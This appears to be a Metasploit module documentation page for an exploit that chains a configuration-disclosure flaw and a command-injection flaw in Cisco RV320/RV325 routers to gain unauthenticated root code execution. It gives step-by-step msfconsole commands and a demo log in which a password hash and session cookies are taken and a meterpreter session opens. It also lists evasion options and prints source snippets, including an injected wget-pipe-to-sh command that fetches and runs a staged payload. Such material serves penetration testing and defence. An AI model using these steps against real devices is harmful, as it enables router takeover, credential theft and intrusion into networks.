Cisco RV320 and RV325 Unauthenticated Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/cisco_rv32x_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cisco RV320 and RV325 Unauthenticated Remote Code Execution
Module: exploit/linux/http/cisco_rv32x_rce
Source code: modules/exploits/linux/http/cisco_rv32x_rce.rb
Disclosure date: 2018-09-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8007, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-1652, CVE-2019-1653
This exploit module combines an information disclosure (CVE-2019-1653) and a command injection vulnerability (CVE-2019-1652) together to gain unauthenticated remote code execution on Cisco RV320 and RV325 small business routers. Can be exploited via the WAN interface of the router. Either via HTTPS on port 443 or HTTP on port 8007 on some older firmware versions.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/http/cisco_rv32x_rce
msf exploit(cisco_rv32x_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Introduction
This module automatically exploits two vulnerabilities to create an effectively unauthenticated remote code execution on RV320 and RV325 routers.
The module will perform the following steps:
First the module will download the configuration. Then it will extract the MD5 password hash for the web interface user. The MD5 password hash is directly accepted during login instead of the plain text password. With the MD5 hash the module will authenticate to the web interface of the router and get a valid authentication cookie.
The second step is using the authentication cookie to send an authenticated request to the web interface which exploits a command injection vulnerability. The injection is limited to ~50 characters. Therefore, the module uses a web server to stage a shell payload for the MIPS64 architecture of the router. Depending on the payload the module will result in a shell or meterpreter session.
Vulnerable Application:
Cisco Small Business Routers RV320 and RV325 with firmware versions between 1.4.2.15 and 14.2.20.
Link to vulnerable Firmware Version: https://software.cisco.com/download/home/284005929/type/282465789/release/1.4.2.20?i=!pp
Links to Advisories: Part 1 of the exploit (configuration download): https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export
Part 2 of the exploit (command injection in web interface): https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection
Advisories by vendor: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject
Options
RHOSTS
Configure the remote vulnerable system.
RPORT
Configure the TCP port of the HTTP/HTTPS management web interface.
USE_SSL
This flag controls whether the remote management web interface is accessible via HTTPS or not. Should be false for HTTP and true for HTTPS.
PAYLOAD
Configure the Metasploit payload that you want to stage. Must be for MIPS64 arch. Set payload Options accordingly.
SRVHOST
The module stages the payload via a web server. This is the binding interface IP. Default can be set to 0.0.0.0.
HTTPDelay
This configures how long the module should wait for the incoming HTTP connection to the HTTP stager.
Verification Steps
- Have exploitable RV320 or RV325 router (exampe IP: 192.168.1.1):
- Start
msfconsole
: - Do:
use exploit/linux/http/cisco_rv32x_rce
- Do:
set RHOSTS 192.168.1.1
- Do:
set payload linux/mips64/meterpreter_reverse_tcp
(Set the MIPS64 payload you want to use) - Do:
set LHOST 192.168.1.2
(Setting your own IP here, example: 192.168.1.2) - Do:
set RPORT 8007
(Set the remote Port on which the router web interface is accessible) - Do:
run
- Gives you a privileged (uid=0) shell or in the example a meterpreter session.
Scenarios
Exploiting a vulnerable RV320 router with publicly accessible HTTPS web
interface on TCP port 443:
msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1
msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp
msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2
msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443
msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true
msf5 exploit(linux/http/cisco_rv32x_rce) > run
Demo example output for the module:
msf5 > use exploit/linux/http/cisco_rv32x_rce
msf5 exploit(linux/http/cisco_rv32x_rce) > show options
Module options (exploit/linux/http/cisco_rv32x_rce):
Name Current Setting Required Description
HTTPDELAY 15 yes Time that the HTTP Server will wait for the payload request Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target address range or CIDR identifier RPORT 8007 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. URIPATH / yes The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.) USE_SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host
Exploit target:
Id Name
0 LINUX MIPS64
msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp payload => linux/mips64/meterpreter_reverse_tcp msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2 LHOST => 192.168.1.2 msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443 RPORT => 443 msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true USE_SSL => true msf5 exploit(linux/http/cisco_rv32x_rce) > run
[] Started reverse TCP handler on 192.168.1.2:4444 [] Using URL: http://0.0.0.0:8080/ [] Local IP: http://192.168.1.2:8080/ [] Server started. [] Downloading configuration from 192.168.1.1:443 [] Using SSL connection to router. [] Successfully downloaded config [] Got MD5-Hash: dfead10390e560aea745ccba53e044ed [] Loging in as user cisco using password hash. [] Using default auth_key 1964300002 [] Successfully logged in as user cisco. [] Got cookies: mlap=RGVmYXVsdDE6Ojo6Y2lzY28=; [] Sending payload. Staging via http://192.168.1.2:8080/. [] 192.168.1.1:443 - Payload request received: / [] Waiting for stager connection timed out. Try increasing the delay. [] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.1:48580) at 2019-03-14 10:00:00 +0100 [*] Server stopped.
meterpreter > getuid
Server username: uid=0, gid=99, euid=0, egid=99
Go back to menu.
Msfconsole Usage
Here is how the linux/http/cisco_rv32x_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/cisco_rv32x_rce
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(linux/http/cisco_rv32x_rce) > show info
Name: Cisco RV320 and RV325 Unauthenticated Remote Code Execution
Module: exploit/linux/http/cisco_rv32x_rce
Platform: Linux
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2018-09-09
Provided by:
RedTeam Pentesting GmbH
Philip Huppert
Benjamin Grap
Available targets:
Id Name
-- ----
0 LINUX MIPS64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 15 yes Time that the HTTP Server will wait for the payload request
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8007 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
URIPATH / yes The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)
USE_SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Avoid: 0 characters
Description:
This exploit module combines an information disclosure
(CVE-2019-1653) and a command injection vulnerability
(CVE-2019-1652) together to gain unauthenticated remote code
execution on Cisco RV320 and RV325 small business routers. Can be
exploited via the WAN interface of the router. Either via HTTPS on
port 443 or HTTP on port 8007 on some older firmware versions.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-1653
https://nvd.nist.gov/vuln/detail/CVE-2019-1652
https://www.exploit-db.com/exploits/46243
http://www.securityfocus.com/bid/106728
http://www.securityfocus.com/bid/106732
https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export
https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection
Module Options
This is a complete list of options available in the linux/http/cisco_rv32x_rce exploit:
msf6 exploit(linux/http/cisco_rv32x_rce) > show options
Module options (exploit/linux/http/cisco_rv32x_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 15 yes Time that the HTTP Server will wait for the payload request
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8007 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
URIPATH / yes The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)
USE_SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 LINUX MIPS64
Advanced Options
Here is a complete list of advanced options supported by the linux/http/cisco_rv32x_rce exploit:
msf6 exploit(linux/http/cisco_rv32x_rce) > show advanced
Module advanced options (exploit/linux/http/cisco_rv32x_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/cisco_rv32x_rce module can exploit:
msf6 exploit(linux/http/cisco_rv32x_rce) > show targets
Exploit targets:
Id Name
-- ----
0 LINUX MIPS64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/cisco_rv32x_rce exploit:
msf6 exploit(linux/http/cisco_rv32x_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/mips64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
4 payload/linux/mips64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
5 payload/linux/mips64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/cisco_rv32x_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/cisco_rv32x_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Connection failed.
- Could not download config. Aborting.
- Connection failed during login. Aborting.
- Login failed with downloaded credentials. Aborting.
- Warning: Staging command length probably too long. Trying anyway...
- Connection failed while sending command. Aborting.
- Sending command not successful.
- Connection failed.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed.
Here is a relevant code snippet related to the "Connection failed." error message:
88: res = send_request_cgi({
89: 'uri' => normalize_uri("cgi-bin","config.exp"),
90: 'SSL' => datastore['USE_SSL']
91: })
92: unless res
93: vprint_error('Connection failed.')
94: return nil
95: end
96:
97: unless res.code == 200
98: vprint_error('Could not download config. Aborting.')
Could not download config. Aborting.
Here is a relevant code snippet related to the "Could not download config. Aborting." error message:
93: vprint_error('Connection failed.')
94: return nil
95: end
96:
97: unless res.code == 200
98: vprint_error('Could not download config. Aborting.')
99: return nil
100: end
101:
102: print_status("Successfully downloaded config")
103: username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]
Connection failed during login. Aborting.
Here is a relevant code snippet related to the "Connection failed during login. Aborting." error message:
112: 'method' => 'POST',
113: 'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch¤t_password=&new_password=&re_new_password="
114: })
115:
116: unless res
117: vprint_error('Connection failed during login. Aborting.')
118: return nil
119: end
120:
121: unless res.code == 200
122: vprint_error('Login failed with downloaded credentials. Aborting.')
Login failed with downloaded credentials. Aborting.
Here is a relevant code snippet related to the "Login failed with downloaded credentials. Aborting." error message:
117: vprint_error('Connection failed during login. Aborting.')
118: return nil
119: end
120:
121: unless res.code == 200
122: vprint_error('Login failed with downloaded credentials. Aborting.')
123: return nil
124: end
125:
126: #Extract authentication cookies
127: cookies = res2.get_cookies()
Warning: Staging command length probably too long. Trying anyway...
Here is a relevant code snippet related to the "Warning: Staging command length probably too long. Trying anyway..." error message:
131: #Build staging command
132: command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")
133: if(command_string.length <= 63)
134: print_status("Staging command length looks good. Sending exploit!")
135: else
136: vprint_error("Warning: Staging command length probably too long. Trying anyway...")
137: end
138:
139: res3 = send_request_cgi({
140: 'uri' => normalize_uri("certificate_handle2.htm"),
141: 'SSL' => datastore['USE_SSL'],
Connection failed while sending command. Aborting.
Here is a relevant code snippet related to the "Connection failed while sending command. Aborting." error message:
164: 'SelectSubject_s' => '1'
165: },
166: 'data' => "common_name=#{command_string}"
167: })
168: unless res3
169: vprint_error('Connection failed while sending command. Aborting.')
170: return nil
171: end
172:
173: unless res3.code == 200
174: vprint_error('Sending command not successful.')
Sending command not successful.
Here is a relevant code snippet related to the "Sending command not successful." error message:
169: vprint_error('Connection failed while sending command. Aborting.')
170: return nil
171: end
172:
173: unless res3.code == 200
174: vprint_error('Sending command not successful.')
175: return nil
176: end
177: print_status("Sending payload timed out. Waiting for stager to connect...")
178: end
179:
Connection failed.
Here is a relevant code snippet related to the "Connection failed." error message:
180: def check
181: #Check if device is vulnerable by downloading the config
182: res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")})
183:
184: unless res
185: vprint_error('Connection failed.')
186: return CheckCode::Unknown
187: end
188:
189: unless res.code == 200
190: return CheckCode::Safe
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11482 Merged Pull Request: RV320 Unauthenticated Remote Code Execution Exploit Module
References
- CVE-2019-1653
- CVE-2019-1652
- EDB-46243
- BID-106728
- BID-106732
- https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export
- https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection
See Also
Check also the following modules related to this module:
- auxiliary/gather/cisco_rv320_config
- exploit/linux/http/cisco_asax_sfr_rce
- exploit/linux/http/cisco_firepower_useradd
- exploit/linux/http/cisco_hyperflex_file_upload_rce
- exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec
- exploit/linux/http/cisco_prime_inf_rce
- exploit/linux/http/cisco_rv_series_authbypass_and_rce
- exploit/linux/http/cisco_ucs_cloupia_script_rce
- exploit/linux/http/cisco_ucs_rce
- exploit/linux/misc/cisco_rv340_sslvpn
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/multi/http/cisco_dcnm_upload
- exploit/multi/http/cisco_dcnm_upload_2019
- exploit/windows/browser/cisco_anyconnect_exec
- exploit/windows/browser/cisco_playerpt_setsource
- exploit/windows/browser/cisco_playerpt_setsource_surl
- exploit/windows/browser/cisco_webex_ext
- auxiliary/dos/cisco/cisco_7937g_dos
- auxiliary/dos/cisco/cisco_7937g_dos_reboot
- auxiliary/dos/cisco/ios_http_percentpercent
- auxiliary/dos/cisco/ios_telnet_rocem
- auxiliary/spoof/cisco/cdp
- auxiliary/spoof/cisco/dtp
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
Related Nessus plugins:
- Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability (cisco-sa-20190123-rv-info) (remote check)
- Cisco Small Business RV320 and RV325 Routers Multiple Vulnerabilities (cisco-sa-20190123-rv-inject, cisco-sa-20190123-rv-info)
Authors
- RedTeam Pentesting GmbH
- Philip Huppert
- Benjamin Grap
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.